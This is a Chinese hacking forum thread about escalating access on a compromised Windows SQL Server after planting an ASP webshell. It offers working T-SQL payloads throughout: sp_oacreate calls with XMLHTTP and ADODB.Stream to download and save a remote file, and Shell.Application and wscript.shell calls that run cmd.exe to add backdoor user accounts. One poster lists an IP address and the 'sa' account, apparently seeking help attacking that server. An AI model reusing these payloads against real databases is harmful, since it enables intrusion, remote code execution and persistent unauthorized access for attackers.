我晕了楼上，明明看到你写了一个asp小马上去了，不会用你的asp小马传dll上去呀。不要告诉我你搞的是web与data分离的。

我晕了楼上 你看到写了一句话上去难道没看到一句话什么权限都没有么？

哈哈。... 直接用 Command.com 执行吧...

引用:

引用第27楼伤心的鱼于2007-12-05 10:15发表的 :
我晕了楼上 你看到写了一句话上去难道没看到一句话什么权限都没有么？

文章明明提到是web目录没有写权限，没法写进大马。并不是一句话什么权限都没有。非要用一句话写大马干嘛。搞不明白。用海阳c端提交你的小马，肯定可以找到某个可写的目录（实在找不到没话可说），然后上传dll，这个dll你非要传到web目录下？

218.21.242.227 sa 麻烦那位看下，和楼主情况一样

可能我没说清楚 事实证明任何盘都没写权限 至于dll 不一定要传在WEB目录但是没有目录可写。

;DECLARE @B varbinary(8000),@hr int,@http INT,@down INT
EXEC sp_oacreate [Microsoft.XMLHTTP],@http output
EXEC @hr = sp_oamethod @http,[Open],null,[GET],[%http%],0
EXEC @hr = sp_oamethod @http,[Send],null
EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output
EXEC @hr=sp_oacreate [ADODB.Stream],@down output
EXEC @hr=sp_OASetProperty @down,[Type],1 EXEC @hr=sp_OASetProperty @down,[mode],3
EXEC @hr=sp_oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,[Write],null,@B
EXEC @hr=sp_oamethod @down,[SaveToFile],null,[%save%],1

hege的下载是０字节，不能用。
另：
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user　lhn 123 /add ','c:\windows\system32','',1;

猪三同学是对的

ps

沙盒模式你也得先reg_write下吧
绕大弯了

沙盒模式都没开启。
SandBoxMode 1

DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'd:\xxxxx\cmd.exe /c d:\xxxx\net user gydyhook hook /add'
正好练练手
谢谢猪三哥的提醒...

楼猪虽然走了弯路,但精神可嘉..谢谢各位大哥的赐教

我也收获不浅

版本还是很理解数据库的